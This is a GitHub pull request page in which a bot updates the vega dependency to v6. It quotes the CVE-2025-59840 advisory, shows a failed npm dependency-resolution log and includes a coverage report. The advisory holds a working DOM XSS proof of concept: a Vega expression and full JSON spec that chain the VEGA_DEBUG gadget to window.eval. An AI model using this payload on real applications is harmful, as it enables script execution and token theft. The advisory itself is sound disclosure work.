Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Nov 24, 2025

This PR contains the following updates:

Package Change Age Confidence
vega ^5.33.0^6.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-59840

Impact

Applications meeting 2 conditions are at risk of arbitrary JavaScript code execution, even if "safe mode" expressionInterpreter is used.

  1. Use vega in an application that attaches vega library and a vega.View instance similar to the Vega Editor to the global window
  2. Allow user-defined Vega JSON definitions (vs JSON that was is only provided through source code)

Patches

  • If using latest Vega line (6.x)
    • vega 6.2.0 / vega-expression 6.1.0 / vega-interpreter 2.2.1 (if using AST evaluator mode)
  • If using Vega in a non-ESM environment
    • ( vega-expression 5.2.1 / 1.2.1 (if using AST evaluator mode)

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading

  • Do not attach vega View instances to global variables, as Vega editor used to do here
  • Do not attach vega to the global window as the editor used to do here

These practices of attaching the vega library and View instances may be convenient for debugging, but should not be used in production or in any situation where vega/vega-lite definitions could be provided by untrusted parties.

POC Summary

Vega offers the evaluation of expressions in a secure context. Arbitrary function call is prohibited. When an event is exposed to an expression, member get of window objects is possible. Because of this exposure, in some applications, a crafted object that overrides its toString method with a function that results in calling this.foo(this.bar), DOM XSS can be achieved.

In practice, an accessible gadget like this exists in the global VEGA_DEBUG code.

({
    toString: event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, 
    eventName: event.view.console.log,
    _handlers: {
        undefined: 'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'
    },
    _handlerIndex: event.view.eval
})+1

POC Details

{
  "$schema": "https://vega.github.io/schema/vega/v5.json",
  "width": 350,
  "height": 350,
  "autosize": "none",
  "description": "Toggle Button",
  "signals": [
    {
      "name": "toggle",
      "value": true,
      "on": [
        {
          "events": {"type": "click", "markname": "circle"},
          "update": "toggle ? false : true"
        }
      ]
    },
    {
      "name": "addFilter",
      "on": [
        {
          "events": {"type": "mousemove", "source": "window"},
          "update": "({toString:event.view.VEGA_DEBUG.vega.CanvasHandler.prototype.on, eventName:event.view.console.log,_handlers:{undefined:'alert(origin + ` XSS on version `+ VEGA_DEBUG.VEGA_VERSION)'},_handlerIndex:event.view.eval})+1"
        }

      ]
    }
  ]
}

This payload creates a scenario where whenever the mouse is moved, the toString function of the provided object is implicitly called when trying to resolve adding it with 1. The toString function has been overridden to a "gadget function" (VEGA_DEBUG.vega.CanvasHandler.prototype.on) that does the following:

   on(a, o) {
        const u = this.eventName(a)
          , d = this._handlers;
        if (this._handlerIndex(d[u], a, o) < 0) {
        ....
        }
        ....
   }
  1. Set u to the result of calling this.eventName with undefined
    • For our object, we have the eventName value set to console.log, which just logs undefined and returns undefined
  2. Sets d to this._handlers
    • For our object, we have this defined to be used later
  3. Calls this._handlerIndex with the result of u indexed into the d object as the first argument, and undefined as the second two.
    • For our object, _handlerIndex is set to window.eval, and when indexing undefined into the _handlers, a string to be evald containing the XSS payload is returned.

This results in XSS by using a globally scoped gadget to get full blown eval.

PoC Link

Navigate to vega editor, move the mouse, and observe that the arbitrary JavaScript from the configuration reaches the eval sink and DOM XSS is achieved.

Future investigation

In cases where VEGA_DEBUG is not enabled, there theoreticallycould be other gadgets on the global scope that allow for similar behavior. In cases where AST evaluator is used and there are blocks against getting references to eval, in theory there could be other gadgets on global scope (i.e. jQuery) that would allow for eval the same way (i.e. $.globalEval). As of this writing, no such globally scoped gadgets have been found.

Impact

This vulnerability allows for DOM XSS, potentially stored, potentially reflected, depending on how the library is being used. The vulnerability requires user interaction with the page to trigger.

An attacker can exploit this issue by tricking a user into opening a malicious Vega specification. Successful exploitation allows the attacker to execute arbitrary JavaScript in the context of the application’s domain. This can lead to theft of sensitive information such as authentication tokens, manipulation of data displayed to the user, or execution of unauthorized actions on behalf of the victim. This exploit compromises confidentiality and integrity of impacted applications.


Release Notes

vega/vega (vega)

v6.2.0

Compare Source

v6.1.2

Compare Source

v6.1.1

Compare Source

v6.1.0

Compare Source

v6.0.0

Compare Source

changes since v5.33.0

monorepo

vega-typings

docs


Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@renovate
Copy link
Contributor Author

renovate bot commented Nov 24, 2025

⚠️ Artifact update problem

Renovate failed to update an artifact related to this branch. You probably do not want to merge this PR as-is.

♻ Renovate will retry this branch, including artifacts, only when one of the following happens:

  • any of the package files in this branch needs updating, or
  • the branch becomes conflicted, or
  • you click the rebase/retry checkbox if found above, or
  • you rename this PR's title to start with "rebase!" to trigger it manually

The artifact failure details are included below:

File name: catalog/package-lock.json
npm warn ERESOLVE overriding peer dependency
npm warn While resolving: [email protected]
npm warn Found: [email protected]
npm warn node_modules/ajv
npm warn   ajv@"^8.16.0" from the root project
npm warn   9 more (ajv-formats, ajv-keywords, schema-utils, ajv-keywords, ...)
npm warn
npm warn Could not resolve dependency:
npm warn peer ajv@"^6.9.1" from [email protected]
npm warn node_modules/ajv-keywords
npm warn   ajv-keywords@"^3.5.2" from [email protected]
npm warn   node_modules/schema-utils
npm warn
npm warn Conflicting peer dependency: [email protected]
npm warn node_modules/ajv
npm warn   peer ajv@"^6.9.1" from [email protected]
npm warn   node_modules/ajv-keywords
npm warn     ajv-keywords@"^3.5.2" from [email protected]
npm warn     node_modules/schema-utils
npm error code ERESOLVE
npm error ERESOLVE could not resolve
npm error
npm error While resolving: [email protected]
npm error Found: [email protected]
npm error node_modules/vega
npm error   vega@"^6.0.0" from the root project
npm error   peer vega@"*" from [email protected]
npm error   node_modules/vega-themes
npm error     vega-themes@"^2.14.0" from [email protected]
npm error     node_modules/vega-embed
npm error       vega-embed@"^6.22.2" from the root project
npm error
npm error Could not resolve dependency:
npm error peer vega@"^5.21.0" from [email protected]
npm error node_modules/vega-embed
npm error   vega-embed@"^6.22.2" from the root project
npm error
npm error Conflicting peer dependency: [email protected]
npm error node_modules/vega
npm error   peer vega@"^5.21.0" from [email protected]
npm error   node_modules/vega-embed
npm error     vega-embed@"^6.22.2" from the root project
npm error
npm error Fix the upstream dependency conflict, or retry
npm error this command with --force or --legacy-peer-deps
npm error to accept an incorrect (and potentially broken) dependency resolution.
npm error
npm error
npm error For a full report see:
npm error /runner/cache/others/npm/_logs/2025-12-31T14_40_57_450Z-eresolve-report.txt
npm error A complete log of this run can be found in: /runner/cache/others/npm/_logs/2025-12-31T14_40_57_450Z-debug-0.log

@codecov
Copy link

codecov bot commented Nov 24, 2025

Codecov Report

✅ All modified and coverable lines are covered by tests.
✅ Project coverage is 93.32%. Comparing base (2abb847) to head (3c91161).

Additional details and impacted files
@@             Coverage Diff             @@
##           master    #4643       +/-   ##
===========================================
+ Coverage   43.22%   93.32%   +50.09%     
===========================================
  Files         797      117      -680     
  Lines       32003    10305    -21698     
  Branches     5699        0     -5699     
===========================================
- Hits        13833     9617     -4216     
+ Misses      16176      688    -15488     
+ Partials     1994        0     -1994     
Flag Coverage Δ
api-python 91.96% <ø> (ø)
catalog ?
lambda 96.62% <ø> (ø)
py-shared 98.18% <ø> (ø)

Flags with carried forward coverage won't be shown. Click here to find out more.

☔ View full report in Codecov by Sentry.
📢 Have feedback on the report? Share it here.

🚀 New features to boost your workflow:
  • ❄️ Test Analytics: Detect flaky tests, report on failures, and find test suite problems.
  • 📦 JS Bundle Analysis: Save yourself from yourself by tracking and limiting bundle sizes in JS merges.

Copy link
Contributor

@greptile-apps greptile-apps bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

1 file reviewed, no comments

Edit Code Review Agent Settings | Greptile

@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch from 5ab2eec to 4ac4b13 Compare November 26, 2025 05:57
@renovate renovate bot changed the title Update dependency vega to v6 [SECURITY] fix(deps): update dependency vega to v6 [security] Nov 26, 2025
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch 4 times, most recently from 9a7a88d to 2b7fe43 Compare December 3, 2025 05:35
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch 9 times, most recently from a1eea51 to 3a0f97f Compare December 9, 2025 16:25
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch 7 times, most recently from 6d0f34e to 7f3cd14 Compare December 17, 2025 14:57
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch 4 times, most recently from df05d8c to 5797da0 Compare December 19, 2025 12:26
@renovate renovate bot force-pushed the renovate/npm-vega-vulnerability branch from 5797da0 to 3c91161 Compare December 22, 2025 12:53
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant